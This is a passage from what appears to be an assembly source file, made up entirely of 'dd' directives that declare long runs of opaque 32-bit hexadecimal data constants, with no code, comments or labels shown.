0AEE43Ch, 268C86EBh, 0E8DD3709h, 85F43A58h dd 0BAC2FDBDh, 8F34C0A7h, 285182FCh, 3289C400h, 8B50CBh dd 2C40D06Eh, 0FF651EE4h, 40947B30h, 181C537Fh, 0C98DADB3h dd 1E001BB8h, 0BC6A630Dh, 50E367C2h, 1B1AC2Dh, 0D8BDEB8Ah dd 87580A99h, 0F697F031h, 0A0F09D76h, 62959D4h, 0C7ECB0CEh dd 18B9F920h, 0AD18FC79h, 3893AE00h, 969BCBA7h, 0ABB012DEh dd 62B892F8h, 74A2B604h, 0B730EDE2h, 255AEEFCh, 0DC03920Fh dd 46E1B19Ch, 0FB68605Fh, 1312F640h, 4638D41h, 0E097B268h dd 0CB09C094h, 0A0ECFE90h, 0E62C5BFCh, 49260433h, 0E0E8DB5Fh dd 0CEE64C48h, 0DE6BA9C0h, 0C2FA5207h, 0FBB861C0h, 92F678E0h dd 29E25788h, 0E220A0E0h, 67325120h, 60FF4410h, 7FEA453Fh dd 48E202D9h, 624F9B14h, 61A4C4E1h, 0B05C4018h, 0C828F668h dd 2CB008F7h, 10CD2031h, 49FE774Ch, 0A430A1A4h, 3A19409Bh dd 0D0C65412h, 136F0846h, 65D40EC8h, 0A82C34D3h, 9E408420h dd 9110915Bh, 503A80A2h, 8C2C4C1Dh, 31E044h, 52FB50E2h dd 0BADD2973h, 84ACF424h, 9F20B08h, 609B9FF5h, 0C0CB81h dd 96C662C5h, 0CAAB0C14h, 0F3003351h, 9AC405CEh, 2F28BDCh dd 42800DD8h, 0CC63B81Ah, 0F5463810h, 691B5800h, 0C281FA03h dd 0C0B82600h, 0BA60A5DEh, 18EF1E0Dh, 47D0406Ch, 0FE84816Dh dd 70389200h, 3FBAFDF4h, 0C3B7005Eh, 521E2737h, 3D03F27Eh dd 1FEADDADh, 0D82AE026h, 5357033Fh, 9114E0A0h, 0A153000h dd 3ABD544Bh, 415B3B30h, 801018E8h, 7FCA6A47h, 0A48DEBAh dd 2DDB00D5h, 0BC2161E6h, 3CE52471h, 155B0350h, 4C03A73h dd 10C00DA9h, 0EFB1F72Dh, 0EB013E27h, 0C529D14h, 2E068B3Bh dd 68B64597h, 0C70B5E00h, 1EE59AB1h, 0DD744Fh, 131CEAD5h dd 0A90DB045h, 4037A000h, 0FCB6C8Eh, 36DA79B2h, 0EA18ABADh dd 8405DE01h, 0D3CF4218h, 2E75D087h, 0F9B2D129h, 7CA07CD0h dd 980CBF2Ah, 113E3Eh, 0A85FEEAFh, 66EC16h, 0D20CC5BAh dd 4994BD15h, 17E48800h, 0FA0BA091h, 1C8F7D84h, 47BC7079h dd 70AE8C1Dh, 676ECE94h, 0B6C308DFh, 98487331h, 334E97h dd 0BD364134h, 0BE27229Dh, 0BA316664h, 99E0BC4Eh, 8A875734h dd 233B0F00h, 1CB54D49h, 4F3000C4h, 86485E14h, 360269EBh dd 0FACFD29Eh, 8754A00Dh, 7A01370Ah, 93C3702h, 4F602F9Eh dd 0DA2C22D4h, 1D679A0Dh, 64F031CEh, 88FC03FFh, 9FC913C5h dd 579EC6E0h, 0FF0B8E2h, 0C7843Ch, 0F84A074Fh, 1CAED7h dd 0E85DB0BCh, 9031105Eh, 0DB4F5500h, 0BDD9BE32h, 53970C51h dd 1ED89A85h, 717FF030h, 0E88D44FBh, 7A680058h, 0EDFBEA7h dd 186069CCh, 305615A8h, 60E73ACAh, 0D17DA207h, 1F7BF071h dd 800A590h, 62871393h, 1D043F52h, 0C047725Ch, 25FC3586h dd 0A200FAAEh, 606CC4B9h, 0F4793CA9h, 6923334Dh, 210F1708h dd 41606F62h, 903F4272h, 8C3C60h, 50E67002h, 27F5A2C3h dd 18C3EC74h, 0D0358471h, 1B6BADD7h, 48A45E1Ah, 93E0ABF0h dd 0C9B9DA03h, 3061EA8Eh, 0AA21B308h, 0B601E0D4h, 0D7208957h dd 5083F0D8h, 51EA380Ch, 0A4916860h, 6C40F70Dh, 906820CFh dd 0E0D6048Ch, 62D1DAE8h, 0DF9F205Dh, 511B48E0h, 0E051A9BAh dd 0A543C85h, 0DACCD713h, 196F082Ch, 0EFE0E76Eh, 6028D9F5h dd 0E0A8039Eh, 23644036h, 3E68B4C0h, 0A9B880EFh, 0A1715663h dd 51E60E6Ch, 5DAF6581h, 0B8DEB00h, 0E0022F97h, 0C8315732h dd 0DAF840A2h, 1494006Bh, 3EC6B930h, 7A2E73B1h, 0FA06B931h dd 7808F508h, 0ABA30637h, 117FC909h, 14427429h, 0B34C4811h dd 17F4FF02h, 1B612A41h, 86AF2125h, 35CA7B49h, 15F0F128h dd 4C19CE11h, 0C38F2BA8h, 0AAD2A0B9h, 75C5846h, 0EF359A25h dd 5F2AB0FEh, 80071342h, 142DFA91h, 0B380906h, 87436F2Bh dd 2012ED82h, 0D17B8D61h, 4921800Fh, 748B5C90h, 0C2AE0019h dd 48F95DEFh, 79C0FB13h, 0B11B9D77h, 267C00D8h, 6F4B86Bh dd 140C4127h, 0A8086A37h, 1A3E4412h, 43CFDF17h, 772A3401h dd 898547Bh, 2E3A2198h, 8FAECF00h, 5BE46D0Bh, 0FE0D11ABh dd 85A0AC6h, 7440B08Dh, 7EB259F5h, 8A21CE11h, 46EE8701h dd 73E5C4F3h, 65EFA500h, 0CAA89CD1h, 266428C2h, 61B10A4h dd 0D0E5004Ah, 0DAC7D15Ah, 6162E665h, 58842273h, 904CEC5Bh dd 23AF5A18h, 72E2C79h, 9E8C0DE0h, 537E8016h, 0DE00409Ah dd 8BE38A2Ah, 6C514447h, 0A55148B2h, 15FC3052h, 60087481h dd 94937269h, 0AF6A114Ah, 0BB4C21h, 0B7C9DFE9h, 66919BDEh dd 217008B6h, 0E95B7C04h, 308817F3h, 5511038Bh, 50152B1h dd 5BB303E0h, 0ECF79628h, 46740C0Ch, 0A2791Eh, 1824F621h dd 14135557h, 983AAE14h, 0C2145090h, 4376028Ch, 7B27F16Eh dd 0B6121819h, 7A332440h, 26D06600h, 7B2ECB86h, 4B2040C8h dd 0FB08130Ch, 1C6BA977h, 0C6E8D96Ah, 7050DF43h, 723E2E46h dd 7F15A88h, 8A410FC4h, 0DCC15C6Bh, 72003BBFh, 5F6E24DAh dd 0C36DA36Ah, 3F74C9E1h dd 0F6B3CEF9h, 0BD7F5B40h, 0AB355401h, 0FF8D9299h, 0F8885ADDh dd 0C144C45Eh, 8B437360h, 118FF123h, 64950103h, 43BF675Ch dd 0F44265E1h, 0CBA6231Fh, 0E03552D9h, 1D60A225h, 0CF6E1719h dd 6515016Dh, 8A9E3D56h, 21BED357h, 0CFB6F100h, 0F83A7A8h dd 199C0073h, 91D1136Bh, 9F3DE4BBh, 9BF995Fh, 0B442D731h dd 0B62521FBh, 0B102F20Eh, 0CCC04347h, 4DCFD960h, 800B4310h dd 748024C8h, 7F57CFC0h, 895C006Dh, 5B595E9h, 7B183E06h dd 0A329F180h, 5481C032h, 139CC360h, 0B4C8B701h, 0FB186C4Fh dd 8473D420h, 0C80BD52h, 180CB1D7h, 217260E9h, 0D114097Eh dd 75791A04h, 0F4815852h, 46084AF5h, 150279DEh, 88D26A16h dd 4674B008h, 0D3ED0001h, 77C6A2EFh, 7EF7340Ch, 0CDC48051h dd 0A0A3BF3Dh, 0EF03B4E1h, 71A6D111h, 31341218h, 0E47A0DF8h dd 5156F415h, 45C24BCh, 80A4820h, 0D8A3CDABh, 4F99A740h dd 3D4303D7h, 369B816Ah, 0B5755D0h, 3E693F03h, 23F4C8E4h dd 970190D8h, 5D1576CFh, 0DC880218h, 0B698805Fh, 0B8B7A20Ch dd 483C91E6h, 85230444h, 4ECFDA01h, 0FE19D343h, 1C6FC2Bh dd 0FE532DBCh, 0B14EC862h, 82A1C04h, 80915F92h, 31803D12h dd 98041550h, 90002235h, 3B197BEh, 18DA9FAFh, 29C7125Ch dd 61F4718Eh, 0DEBA2E00h, 0A318D2F2h, 2A8B09Ch, 4A7A4D04h dd 0F09829C1h, 1535C7D7h, 0D0082097h, 5C94C3C0h, 1897F189h dd 6D8C8807h, 123E4316h, 0E6AB1020h, 9E150308h, 7066ECC8h dd 337DE0E0h, 73988A62h, 2C04697Ch, 43046018h, 1277F188h dd 4020E532h, 0F4A843D9h, 0E1752EB1h, 29E1D10h, 1E562B47h dd 404AC4AFh, 490C00F7h, 4E7BCD3h, 39E8BE58h, 852C6Ah dd 41809011h, 47C925E9h, 5245448Ch, 8BE9990Bh, 45BC2E75h dd 548C4D42h, 0BDEA3Dh, 0DC9BB6C1h, 0E750B1C2h, 7AD34401h dd 13A81C69h, 92002072h, 51E96372h, 10008B82h, 0D3FA36DAh dd 79AE807h, 0B12B73A9h, 4731AD61h, 0C6C07828h, 214342CFh dd 2D912AF3h, 0CF833B3Ah, 0E61E5FECh, 0FF9BB000h, 0E93EDC8Ah dd 0E7A4A81Ah, 0A63D1E30h, 0F9414593h, 0B296801Bh, 0F20F8495h dd 0F6E6A79Dh, 4423943Ah, 539CDF00h, 30393C58h, 78992812h dd 73003DE8h, 6022F92h, 0C049560Dh, 0F8F21A39h, 4D00484Eh dd 669FAAA0h, 72C7B8h, 0BDE15A55h, 8D3EE5F7h, 0DFD9861Ah dd 5F8C0418h, 58CF2460h, 80C34310h, 698036C8h, 7D1ACF2Ch dd 204A0718h, 7BF5EAECh, 1F8E4880h, 91002DEEh, 6C9BB9CFh dd 173D72E4h, 2F09A527h, 92F23ACh, 504606F8h, 0A88A612h dd 0C9FEB440h, 0CC72A2h, 7E1DDD64h, 86B1EDC7h, 0A534A5B0h dd 9030290Bh, 0F5C829h, 7AD5948h, 0B3175EBh, 49D48C09h dd 5B608491h, 73CF8460h, 57B51510h, 0CF4CF7B0h, 0E94D1024h dd 1088250Bh, 94119764h, 218A8F80h, 87AC3FC5h, 1950C624h dd 1CC8FC00h, 0A1E13B81h, 0C7DC07E3h, 60625A31h, 9AFCB6D4h dd 0D9101C90h, 58802056h, 4FC924E9h, 0EC1D458Ch, 401E990h dd 0C949C79Eh, 8C5F3ECh, 312A85ECh, 0E9290D14h, 0D2A8504Ch dd 8812D47Fh, 7609F638h, 9C909011h, 0DA71006Bh, 0C4019919h dd 0BF3C1384h, 39620515h, 0E480124Eh, 483E1064h, 0F146411h dd 48AC586Ah, 0CE0C008Ch, 655AA152h, 932C7183h, 67405C17h dd 181FB1Eh, 0D90F8087h, 91DF330Dh, 44806D68h, 2FC9D8E9h dd 63C3A891h, 1B88005Ch, 0AEB39A68h, 8500CD73h, 95B6BA93h dd 0FA5A524Eh, 5E389635h, 0C5020346h, 467C40F4h, 18E8A46Bh dd 0E930C030h, 0C29CC976h, 296E0F8Bh, 90923D73h, 6DB8F880h dd 0DB7AFB00h, 7395AA38h, 0C8530F5Ch, 0D09208BBh, 1945A3B8h dd 0E4F37B2Ch, 0B3A7D240h, 0D1790399h, 0AF5BB8C7h, 0F500F1DEh dd 78B18AFBh, 12D4C808h, 90A974D3h, 0BFB324E0h, 0B1DFFB03h dd 1895BD73h, 41265619h, 47161F7Bh, 9834E703h, 5CA79380h dd 0A20D3A3Eh, 879CA180h, 7B1E9EFBh, 2EF37C01h, 0B56C5C02h dd 623B3422h, 7864760Fh, 0CD23AC00h, 66003E27h, 0D7DE9488h dd 16CC6CB3h, 1D444F7Bh, 5E6A9FA8h, 95FF8BC5h, 2E12A003h dd 0D8458100h, 35D6183h, 35D70110h, 64676CDBh, 24806FC2h dd 37A3B73Ah, 99D13388h, 89C7EE80h, 0C891FD0Dh, 0C5517B00h dd 3013FC5Dh, 3468DCCAh, 0D5157175h, 0B874E9h, 0D46E03C2h dd 44E02Fh, 57F5B3E3h, 6C0B3682h, 29807B18h, 63AF7A51h dd 7533C190h, 8038BFF0h, 0E7000492h, 0C91D142h, 914C6B4Ah dd 9DFC87B0h, 0B115E0E8h, 38005A21h, 6596808Ch, 15C888ACh dd 0A47B56EFh, 0AA2E0F7Bh, 68A0C2E1h, 90FB7EDFh, 0E77FAC00h dd 27D7F994h, 0C7D00AD9h, 60C0D8CDh, 2681DDF7h, 0C320A700h dd 0D7E1B331h, 0D6191895h, 0E3798EBh, 88612924h, 0A36A5685h dd 27B7A021h, 0B53B69C8h, 74C90F0h, 9B3DC01Ch, 12315870h dd 14219923h, 0BA184400h, 0CCFAE188h, 0DEA13500h, 3863E0Eh dd 44809856h, 1271F829h, 2A4DC607h, 958423CAh, 3E0A28C1h dd 0CABB2820h, 10AC3350h, 1EA20E38h, 61082CA3h, 0DBB90131h dd 0FB582ABBh, 0D8ABF01Ah, 91D07600h, 5C2043EAh, 2416035Ah dd 3E5632BCh, 9EE9F7C0h, 0EF12397Eh, 3802602Fh, 0C0E7B4C4h dd 3339160h, 0F7C62CD8h, 78A03EEEh, 0B32C13B9h, 6A404C11h dd 2DE08Fh, 8B969D4Ah, 0C2593343h, 592B53Ch, 61C4F6A7h dd 0E0303DC4h, 0B0ECCA47h, 13160943h, 9C8114EEh, 0CBF44611h dd 0E9C88B98h, 455622h, 5E26C4B9h, 0D9F1F206h, 0D4A08428h dd 0D2C70100h, 0CF179CB7h, 58EB48A2h, 0A838F280h, 630098DBh dd 5EDDB933h, 1E790541h, 40A47EE0h, 0F78899DFh, 7560A883h dd 0AC7C0269h, 0E38B15BEh, 75034072h, 783EBD42h, 519B73B8h dd 0D1EA670Eh, 7CB160DFh, 405D15h, 7509F9BCh, 0E989C625h dd 0CB9C9102h, 5A146A9Eh, 0F74500A4h, 0FFC8B1DAh, 6C940CCFh dd 9A6D1341h, 9EE4AEC5h, 0BA41F9Ch, 0D91D804Dh, 175663C6h dd 0D375E50Fh, 0F57461F1h, 0BE20B171h, 0C56B3B42h, 12B38D86h dd 3FE25151h, 831F0700h, 6BC99ABBh, 84EC0785h, 7539E253h dd 0A4E984C4h, 23027DE0h, 0FBBE4597h, 846C423Ah, 4740759Ch dd 304DE58Bh, 0AFC42D0Ch, 37691946h, 3072414Fh, 4DE831BBh dd 6C29F500h, 0C0A25678h, 7E830689h, 99C212E4h, 2BF51E07h dd 0EC20CA28h, 71B9CD74h, 42C8B0AEh, 7E220Fh, 0C2C5686Fh dd 0C996DE63h, 0FF397A03h, 9280C78Ah, 58CC414h, 0B1189E25h dd 0CC6C0E3h, 0DF13EC44h, 98201159h, 9CB328h, 85FE5763h dd 7A9D3665h, 0CB0780F4h, 0DA2C05FDh, 0CED27500h, 41D6FBECh dd 7422FEBCh, 5700204Bh, 2924A61Fh, 6500C75Eh, 70760E7Ah dd 78160767h, 40DA5D7Bh, 0F7B12D4Dh, 5F4C0CB8h, 7762C28h dd 0FADCCC00h, 22FCF6Bh, 771E1AABh, 4068C875h, 14259DC0h dd 0F8A820EAh, 8918F3h, 1B597110h, 342833D7h, 0BBA8F500h dd 0F85B0D91h, 32D5738Eh, 200458CBh, 71DAD841h, 8921D148h dd 246DC1h, 84A1F24Ch, 8A251529h, 2C50B813h, 80475871h dd 886EBF10h, 0E7CB800Dh, 51EEEC4Dh, 70BDF01h, 141C16F3h dd 420FE862h, 0C6A5F9BEh, 79942088h, 0E51F56A0h, 39802B6Fh dd 66C34001h, 2AC41D47h, 0E8FA40B9h, 7DAF3AC7h, 706C6F01h dd 0A6EC6BC2h, 0FAE040D1h, 0B9421DEDh, 68C14DEAh, 0C58AF020h dd 9448204h, 4D804E2Eh, 3B7A0A3h, 70302C03h, 410C4AC7h dd 584F9348h, 211601BFh dd 0C5C45C3h, 74C0D3A2h, 0F1009629h, 0B8360E61h, 6198ECBBh dd 0A35C8908h, 0E06FC82Eh, 3BFDA000h, 6B3F32E2h, 614260D1h dd 52FE62F0h, 0A0BADF00h, 79EBFA8Ch, 0F3E50F8Ah, 11C65AEh dd 9B6BB756h, 49598096h, 0ADE436D6h, 904F7FE7h, 3D80C0C5h dd 0AE51D52Fh, 89FD5318h, 1BB7FCB9h, 70F41E05h, 0EF59F9C0h dd 85BA7A00h, 0DBE44A51h, 0F4FEE478h, 9955600Dh, 0EF5C32CEh dd 0D78AE000h, 5EBCEA4Eh, 0F56F3DBAh, 0C148848Dh, 28E66051h dd 85B0E201h, 0BE3EE7A4h, 0DF921DFCh, 0ED370381h, 0AF91CCD1h dd 0E390C491h, 0B40BAD71h, 83CAA430h, 1FFD2CFh, 0BD50EA51h dd 40B768D5h, 4FDA5B98h, 0CC2978E0h, 6826C52h, 97F40h dd 2C53AAC2h, 0DAC44CA0h, 9D3CC500h, 45AF8C64h, 129DF85h dd 0E9C946A4h, 93082452h, 80F0AC3Dh, 417EFF1h, 1D710B27h dd 0C0343932h, 0E2C396A1h, 730C1CC0h, 3957E819h, 3A3F0068h dd 7A4F9123h, 1E3A1332h, 0CB9D12E3h, 0E2FD2802h, 714C449Bh dd 0D85F01B8h, 0DB3B66CCh, 0EB7E20EEh, 0BB912400h, 0A27E1F16h dd 0CEE930A0h, 0AA860B61h, 84F1C700h, 4EF0A6E2h, 77250033h dd 95357AD1h, 4300B871h, 0B494EF93h, 750122Eh, 5D860E07h dd 3B9E4066h, 2A03B78Dh, 0FB952732h, 0A1DA07Ah, 0B386009Fh dd 0CDAF1B7Eh, 3A63EED4h, 0D86CC521h, 335B49Dh, 0EC140D10h dd 9CA00724h, 2578CBBCh, 6695B001h, 5EBF2B2Dh, 0B2E53984h dd 60A0827Eh, 40858740h, 0E1C0A100h, 66164C20h, 21A8189Ch dd 0CA943032h, 82702A7Ch, 6501C000h, 435EEB07h, 3CE900DAh dd 429C6C39h, 0B4883597h, 2F130728h, 80EE30B5h, 33069BDCh dd 0F1819EE1h, 1B008B6Ch, 374053F7h, 0B786Ch, 4DB45D6Dh dd 0D7A8EA24h, 0FE1D5615h, 0C17B00A0h, 9CBD8858h, 0E659008Ch dd 9140DAB6h, 90A056F5h, 847455E0h, 0E867DE03h, 0FEAC41EDh dd 0D6352C70h, 1431E8Ah, 0D1CEF43Bh, 0B0C1F058h, 5996CCA0h dd 0E4BC60FBh, 6BB08067h, 0A0B6F8DCh, 1D888D88h, 18569AFFh dd 660191F8h, 1D4BD303h, 8AD4Dh, 0F7581069h, 147B2FA9h dd 81BFE53Ch, 0EC8807B7h, 0C083CF7Ch, 841592F9h, 1E32D3D8h dd 1F0C66EEh, 0C81BAD57h, 9A6900F8h, 0A8E8271h, 0ACAB92E0h dd 0D23280C5h, 86062ADCh, 9AAC9B1Ah, 2747379h, 0AD589682h dd 56609921h, 8DFCABA7h, 881B1900h, 0E31869Ch, 6EB1DE8h dd 0CD958A8Fh, 0AA784C90h, 0D4702700h, 2A3D8485h, 0F2DC8079h dd 1C744B0Fh, 834C80DBh, 0B77A9Eh, 0B315FC57h, 1EB83D70h dd 2032C600h, 0A792187Bh, 3694A9F7h, 0FD008022h, 19A6D5E8h dd 9C1B9965h, 88D97445h, 141A5584h, 0C8B4E193h, 38E66B07h dd 0AD33709Bh, 0A0090250h, 0C426DD4h, 7FB514Ch, 81ED626Bh dd 4EF7B01Ch, 44908916h, 88185CA4h, 0B250CB60h, 375A7A58h dd 0E4F18FB5h, 3E5480EDh, 9A0F73CBh, 0BEFC15h, 0EA7CFA4Ch dd 6FE331C9h, 0F06CF569h, 7871F8ABh, 5772C702h, 40A1D449h dd 1B81B10h, 8ACF3A94h, 0DCEA0FC2h, 0C1642237h, 1568070h dd 142511F2h, 0E6C18CD4h, 1BF6193h, 8EFA2653h, 0F470343Ch dd 0D124AB4h, 98402A33h, 0E2688958h, 997B3AEEh, 161F8700h dd 1E889371h, 448297Dh, 44EAC014h, 6B28A62h, 33C587A4h dd 0C80E4953h, 80CE7318h, 1A4CEB70h, 0F42C5436h, 0CB13016Eh dd 0AC89547Ah, 0BEB9807Eh, 93BA00Ah, 0AD2E03A4h, 0F7264A96h dd 12F3C3E0h, 39571807h, 0AB402BD3h, 3AB7BBh, 71C6BFE1h dd 7D2D4316h, 4ECCCB00h, 45B465DBh, 0E255032Eh, 4713D4AFh dd 3615990Ah, 50808CD7h, 4A318234h, 32EC0270h, 360CB643h dd 44099C90h, 0E336400h, 0DA3AEA0h, 0F0EE0127h, 3D1481B6h dd 0C0D1802Bh, 0D176CE17h, 0F3D600A1h, 49DA6F2Fh, 5244420h dd 0BE000CB5h, 0DE921FF7h, 0C8AE8995h, 0F80E9E86h, 299C8CD9h dd 4F84B0AAh, 0BBC31C57h, 720F384Ch, 49929258h, 0E880E454h dd 9BCC01B2h, 39384330h, 5BF06B1h, 3FCA9D60h, 3ED420E5h dd 0A6001A82h, 24519732h, 0D5B2FAh, 88308338h, 70ACB1E7h dd 917899C0h, 3AE165h, 0B45A1918h, 0FFBAC977h, 3F0F2200h dd 0C36C9B63h, 0A0BC609Dh, 72E7FC2Eh, 16243CB0h, 0EE0FF09Eh dd 26E6E68Dh, 2E650599h, 0C7F3F939h, 0C061F7CAh, 9F02B46Eh dd 91A9F002h, 615F4B04h, 45179C14h, 886C00AFh, 7C960EFCh dd 1A3E0704h, 7A002430h, 7E5ACB44h, 4C2B3Dh, 6987A8ECh dd 13E629BFh, 0E14E3CDh, 0E80E51Ch, 9F41DEE9h, 0AEFAF4C0h dd 0B025A41Eh, 7BE4881Fh, 3055601Dh, 9E34B4CBh, 8B6AFB0Bh dd 3C3B8313h, 4629002Eh, 0CFA19382h, 3D0F2CFCh, 20AD8141h dd 6A4852FBh, 0F1430053h, 0B4496C3Bh, 36097F3Fh, 806EC00Ch dd 30044BC0h, 0CBC1C05Fh, 88D2AC01h, 0DAA01600h, 0A2101993h dd 0DEDF0004h, 0D9A1F082h, 9B31E80Bh, 33FB817Eh, 4D0FDC62h dd 0C100BFD4h, 6E070A6h, 0F9868800h, 3A890E8Ah, 0DD9E241Fh dd 0E55B0528h, 0A85348h, 71455F1h, 6200BE81h, 0F45EF32Bh dd 1D0319Bh, 0B33338D3h, 305F70A9h, 0D248C928h, 9D840178h dd 0F21AEA0Eh, 269427C0h, 69EC92D3h, 1CB58B80h, 0A1DC4D33h dd 659C900h, 0A8B32C68h, 92D05Ch, 0A739B9BCh, 0E7B1635h dd 0BD031AF2h, 0D295C0E1h, 36591883h, 10B6F92Dh, 0CF546800h dd 0E89D38A9h, 0B8391EC3h, 0F79C725h, 4966A115h, 0EC82F2FDh dd 0D4027AC6h, 764E4FAh, 0B84C07CAh, 9A3BE18Ch, 0F96040ADh dd 801E2565h, 0AE8436C2h, 2CC01D46h, 636E21h, 4CF114E4h dd 0E556B3C0h, 96B5AE07h, 805984F9h, 0A22892CCh, 18B0EC64h dd 18C03945h, 90B86BF9h, 26183D09h, 1EEC21E1h, 91805230h dd 1C4A80BBh, 2200F551h, 0BFF20B31h, 5CD62F88h, 0EC00042Ah dd 8695FBE8h, 7319B1CEh, 0DDD9C336h, 0BB38CCCh, 0B4E46A60h dd 36B75C01h, 512910D7h, 0DCEB3C82h, 0E108DD00h, 0D4AE11DEh dd 81D6EC7Dh, 81834409h, 2B9AB72Ch, 0C4C870BBh, 88128E22h dd 0B8203293h, 0ED4670h, 0E0EC8AD8h, 0B13116DFh, 1700E47Ah dd 45B52665h, 1D2D1C8h, 0EADF33B8h, 0CFCCA9B2h, 2495E691h dd 0FF00D560h, 0DBF21070h, 3D48556h, 91C7E64h, 0D6FFF7A1h dd 0B4007126h, 0C581F335h, 0F9E76Ch, 41D0EB8Dh, 6971CF72h dd 40DD7D00h, 0DE44BB0Ch, 0A43A1297h, 0C11090E6h, 0D10B5ACAh dd 901656B8h, 646A910h, 32DA6A22h, 20006925h, 9CDF0A5Dh dd 244826h, 2B90854Ch, 0DE425267h, 70B4C200h, 1C2D14FCh dd 0AFC307C0h, 80786D92h, 0ECFC77Eh, 19D58201h, 2B3375D8h dd 57BF5980h, 1DBBFEEBh, 80F6BD3Eh, 9074F312h, 249DA9C9h dd 40543684h, 0C5B22731h, 0BA08C81Dh, 0C09D078Ch, 6C60052h dd 0B4A9B7C7h, 9C07D746h, 0B5C3AE61h, 9D37F330h, 9F8D04A3h dd 82C51549h, 0A02E3478h, 0CA9BCBDDh, 9C334CB7h, 1758A4C0h dd 14E22609h, 1A1D8E00h, 0A1724D5Eh, 0FC230F54h, 660E02E1h dd 5142BBA1h, 0E2473CBh, 0A0738FB1h, 0F1DB46F2h, 23C981Bh dd 0B56D6BE7h, 34680AE6h, 0CE07CFDFh, 0FD077D41h, 247CA08Eh dd 0C74FB2h, 86100877h, 406EA9AEh, 884C2700h, 8E098BA1h dd 80150517h, 80A70681h, 12D14FA0h, 405288A0h, 0EC25E603h dd 4933C9h, 0FCCE89D1h, 79A9D7AEh, 0AB247F70h, 17036C42h dd 0B4AD9DF2h, 0D8B86890h, 0DF16037Ch, 96B3A978h, 0DCF41900h dd 5CDD6D55h, 0A7E513B2h, 4B040333h, 0C5A8164Ch, 51318671h dd 456618B9h, 15C48831h dd 0AC7818C8h, 10124979h, 6E89DD00h, 8C303A7Dh, 0C91A00F6h dd 0FB64A41Bh, 0C80AE63Ch, 0FCDF36BBh, 0F8049B80h, 0DB899Ch dd 34742C7Fh, 0FA3ABED9h, 0C5AAAC0Fh, 244077E3h, 92125387h dd 12F8BBD6h, 0CDE880C4h, 0B0F0DABBh, 172C4204h, 281BD092h dd 4832D6A9h, 98002998h, 6B0B831Eh, 12B42FF7h, 203245A5h dd 79AF535Ch, 85C4B107h, 90E14788h, 20C828F1h, 589301F6h dd 0CF601EB5h, 0FEC7235h, 0C1C3DE4Ah, 0EC076C98h, 0B2FC14DCh dd 40BB00A8h, 827FFA65h, 5E023B7Eh, 0CAB99729h, 99B0814Dh dd 8850F236h, 1C688B02h, 0C03D7527h, 87AFDC22h, 2D0029E9h dd 116E0BA3h, 308ED8F2h, 0E3F81566h, 0A10050FBh, 92BF1BC0h dd 8A94AC49h, 3FF7E700h, 844B09F0h, 60BED422h, 3EE2A7h dd 3854E19Dh, 88A40B34h, 0CC959014h, 28361820h, 135AE1h dd 0EBFAA42h, 0B261E451h, 8F0AFD00h, 432AED4Fh, 1438B8EEh dd 0CCBE7353h, 41F00820h, 2B2D7900h, 0CCE69A6Ch, 8BBE28BFh dd 578502E8h, 88951615h, 8802BD62h, 0D064BF2Bh, 0E6C7070Eh dd 0C88880B4h, 0B8BD9AFAh, 9C611AB4h, 0F619946h, 0C1B02CC9h dd 0E6B2D708h, 0D800F862h, 85F8E436h, 6A007CE3h, 65043903h dd 1589BCA0h, 74D49D64h, 0C0638C1Fh, 0B21DA5C9h, 0D802C362h dd 76339A51h, 0A434E1B8h, 0B4718402h, 78FFAD00h, 4D0809h dd 0C81F5815h, 4AE2BE0h, 0BF584CB8h, 169E4C02h, 0B61EB1E4h dd 0DF926044h, 0EE0C94B2h, 54510133h, 0D342A100h, 0BE4F9E9Ch dd 66851DF9h, 28697C9h, 0E77A89B7h, 910034E6h, 0F6D338A5h dd 0A010E104h, 7E4F31B4h, 0A86EEA6Ah, 89B994h, 27DE9E39h dd 51FE830Dh, 0C2497405h, 10881525h, 12CD0F53h, 680283Fh dd 0C0909F0Eh, 0F20950B8h, 804E62E2h, 4AB08808h, 7BBCA4ADh dd 2FA80034h, 8E5D4EFEh, 0B30C3128h, 59AC9BC8h, 0FC600BFBh dd 0B404850Dh, 6D9C8812h, 7BAF9D04h, 0F0C065C6h, 9AE6F702h dd 218D007Ch, 2AC3858Bh, 1200257Dh, 79BB377h, 0B008D1EBh dd 56BC0C0Ch, 0B28993B0h, 2E54AB02h, 0E0957591h, 1DFE7E64h dd 80E90DCCh, 9D149F01h, 4948C0DDh, 6F70A71Ch, 1E567805h dd 9F2DB64Fh, 7C32C966h, 0A45030A0h, 290081D2h, 0A808D45Eh dd 39F88D1h, 0E90E98C3h, 38911306h, 564C70F9h, 0E53B6507h dd 0E644B2Ch, 4060B4A5h, 20068934h, 0D14CF90h, 9FD4439Ch dd 0CC27CA97h, 0A02754C5h, 0E52766E0h, 7111C06Ch, 41A4CE1Eh dd 8F975807h, 0D1916637h, 94735D29h, 9D852600h, 428068F3h dd 1626A498h, 0E2024C8Bh, 5AAC9C1Bh, 9A78C854h, 80C53688h dd 0AA98C2D5h, 0F016A361h, 2C030257h, 0A0743054h, 0B999340h dd 12D4CD62h, 81ECAC98h, 2791FA00h, 4FE7AEBBh, 44DEFCD8h dd 28963682h, 0E0E1D78Fh, 2B0C3DDDh, 7D609D43h, 9D000EB6h dd 0B81F3853h, 2F40B65h, 71CD0CC0h, 389AAC85h, 9A901040h dd 4C52D302h, 51B85A69h, 0A1CD8034h, 1D73E4DCh, 3AC25E09h dd 41BC80D7h, 80937E9Ch, 562D9AFBh, 1E842011h, 72862B8h dd 215A175Ch, 416AB07Dh, 0C24EAF46h, 0C7DE9420h, 90CB0FFDh dd 0B380288Dh, 629D6EAAh, 23CA680Bh, 9C4C8230h, 4870727Bh dd 7E032EA8h, 1ECF881Dh, 80CA43C8h, 0A9271C00h, 0A8CFA20h dd 5812582Eh, 881B5684h, 711EA4D0h, 30CCC129h, 7192148h dd 0D293D1B0h, 0B7A35090h, 5C0680EFh, 7DE553D3h, 7F37AE1h dd 0C6FA4717h, 69D6097h, 880111C4h, 63F03CB5h, 60731FCAh dd 50054C00h, 9C90E593h, 0FC435B04h, 3986F640h, 209A4EF6h dd 37289E9Ch, 274358h, 0BC1A4F61h, 3F15F50Dh, 137D68FDh dd 90B3C2CFh, 3C9D5470h, 9F1BE407h, 0B9604842h, 0F4134D0h dd 0C6182CFEh, 30909DADh, 0E60065D4h, 0E140B85h, 7C4AE2C8h dd 4404B8AEh, 24943D95h, 0E9EAC380h, 912A1B8h, 0EED4BA98h dd 7C801430h, 809C48h, 7B4C7531h, 48221138h, 0D880C0E5h dd 2B9126Ch, 51F1901h, 3441C872h, 7D00D06Ch, 588E46EEh dd 0A0B9AC63h, 36CB1B00h, 3B6B13B1h, 2B0A0F99h, 3C27FCh dd 0CB2FF10Eh, 